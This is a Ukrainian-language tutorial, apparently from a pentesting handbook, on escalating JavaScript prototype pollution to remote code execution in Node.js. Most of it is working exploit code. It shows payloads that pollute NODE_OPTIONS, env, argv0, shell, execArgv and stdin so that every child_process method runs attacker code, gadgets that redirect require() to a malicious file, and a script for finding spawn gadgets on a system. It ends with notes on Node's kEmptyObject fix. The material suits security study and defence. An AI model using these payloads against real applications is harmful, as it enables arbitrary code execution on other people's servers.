Imagine a real JS using some code like the following one:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE через змінні середовища
PP2RCE означає Забруднення прототипу до RCE (Віддалене виконання коду).
Згідно з цим описом, коли процес створюється за допомогою деякого методу з child_process (як fork або spawn або інші), він викликає метод normalizeSpawnArguments, який є гаджетом забруднення прототипу для створення нових змінних середовища:
Перевірте цей код, ви можете побачити, що це можливо отруїти envPairs просто забруднившиатрибут .env.
Отруєння __proto__
Зверніть увагу, що через те, як працює функція normalizeSpawnArguments з бібліотеки child_process в node, коли щось викликається для встановлення нової змінної середовища для процесу, вам просто потрібно забруднити що-небудь.
Наприклад, якщо ви зробите __proto__.avar="valuevar", процес буде запущено зі змінною, названою avar, зі значенням valuevar.
Однак, щоб змінна середовища була першою, вам потрібно забруднитиатрибут .env, і (тільки в деяких методах) ця змінна буде першою (дозволяючи атаку).
Ось чому NODE_OPTIONSне всередині .env в наступній атаці.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Отруєння constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE через змінні середовища + командний рядок
Схожий корисний вантаж до попереднього з деякими змінами був запропонований у цьому звіті. Основні відмінності:
Замість зберігання nodejs payload всередині файлу /proc/self/environ, він зберігається в argv0 файлу /proc/self/cmdline.
Потім, замість вимоги через NODE_OPTIONS файлу /proc/self/environ, він вимагає /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interaction
Використовуючи наступні пейлоади, можливо зловживати змінною середовища NODE_OPTIONS, про яку ми говорили раніше, і виявити, чи спрацювало це, за допомогою взаємодії з DNS:
У цьому розділі ми будемо аналізувати кожну функцію з child_process для виконання коду та перевіримо, чи можемо ми використати будь-яку техніку, щоб примусити цю функцію виконати код:
exec експлуатація
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile експлуатація
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Для **`execFile`** щоб працювати, він **ПОВИНЕН виконувати node** для роботи NODE\_OPTIONS.\
Якщо він **не** виконує **node**, вам потрібно знайти, як ви могли б **змінити виконання** того, що він виконує **змінними середовища** та встановити їх.
**Інші** техніки **працюють** без цієї вимоги, оскільки **можливо змінити** **те, що виконується** через забруднення прототипу. (У цьому випадку, навіть якщо ви можете забруднити `.shell`, ви не забрудните те, що виконується).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn експлуатація
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync експлуатація
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync експлуатація
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync експлуатація
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Примусове створення
У попередніх прикладах ви бачили, як викликати гаджет, функціональність, яка викликає spawn, повинна бути присутня (всі методи child_process, які використовуються для виконання чогось, викликають його). У попередньому прикладі це було частиною коду, але що, якщо код не викликає його.
Контроль шляху до файлу require
У цьому іншому описі користувач може контролювати шлях до файлу, де буде виконано require. У цьому сценарії атакуючому просто потрібно знайти .js файл у системі, який виконає метод spawn при імпорті.
Деякі приклади загальних файлів, які викликають функцію spawn при імпорті:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Знайдіть більше файлів нижче
Наступний простий скрипт буде шукати виклики з child_processбез будь-якого заповнення (щоб уникнути показу викликів всередині функцій):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Встановлення шляху до файлу через забруднення прототипу
Попередня техніка вимагає, щоб користувач контролював шлях до файлу, який буде вимагатися. Але це не завжди так.
Однак, якщо код буде виконувати require після забруднення прототипу, навіть якщо ви не контролюєте шлях, який буде вимагатися, ви можете примусити інший, зловживаючи забрудненням прототипу. Тож навіть якщо рядок коду виглядає як require("./a_file.js") або require("bytes"), він вимагатиме пакет, який ви забруднили.
Отже, якщо require виконується після вашого забруднення прототипу і немає функції spawn, це атака:
Знайдіть .js файл всередині системи, який при вимозі буде виконувати щось за допомогою child_process
Якщо ви можете завантажувати файли на платформу, яку ви атакуєте, ви можете завантажити файл такого типу
Забрудніть шляхи, щоб примусити вимогу завантажити .js файл, який виконає щось з child_process
Забрудніть середовище/cmdline, щоб виконати довільний код, коли викликається функція виконання child_process (див. початкові техніки)
Абсолютний require
Якщо виконуваний require є абсолютним (require("bytes")) і пакет не містить main у файлі package.json, ви можете забруднити атрибут main і змусити вимогу виконати інший файл.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Відносне вимагання - 1
Якщо відносний шлях завантажується замість абсолютного шляху, ви можете змусити node завантажити інший шлях:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Відносне вимагання - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Відносне вимагання - 3
Схоже на попереднє, це було знайдено в цьому описі.
У статті https://arxiv.org/pdf/2207.11171.pdf також зазначено, що контроль contextExtensions з деяких методів бібліотеки vm може бути використаний як гаджет.
Однак, як і попередні методи child_process, це було виправлено в останніх версіях.
Fixes & Unexpected protections
Зверніть увагу, що забруднення прототипу працює, якщо атрибут об'єкта, до якого звертаються, є невизначеним. Якщо в коді цей атрибутотримуєзначення, ви не зможете його перезаписати.
У червні 2022 року з цього коміту змінна options замість {} є kEmptyObject. Це запобігає забрудненню прототипу від впливу на атрибутиoptions для отримання RCE.
Принаймні з версії v18.4.0 ця захист була реалізована, і тому експлойтиspawn і spawnSync, що впливають на методи, більше не працюють (якщо не використовуються options!).
У цьому комітізабруднення прототипуcontextExtensions з бібліотеки vm було також частково виправлено, встановивши параметри на kEmptyObject замість {}.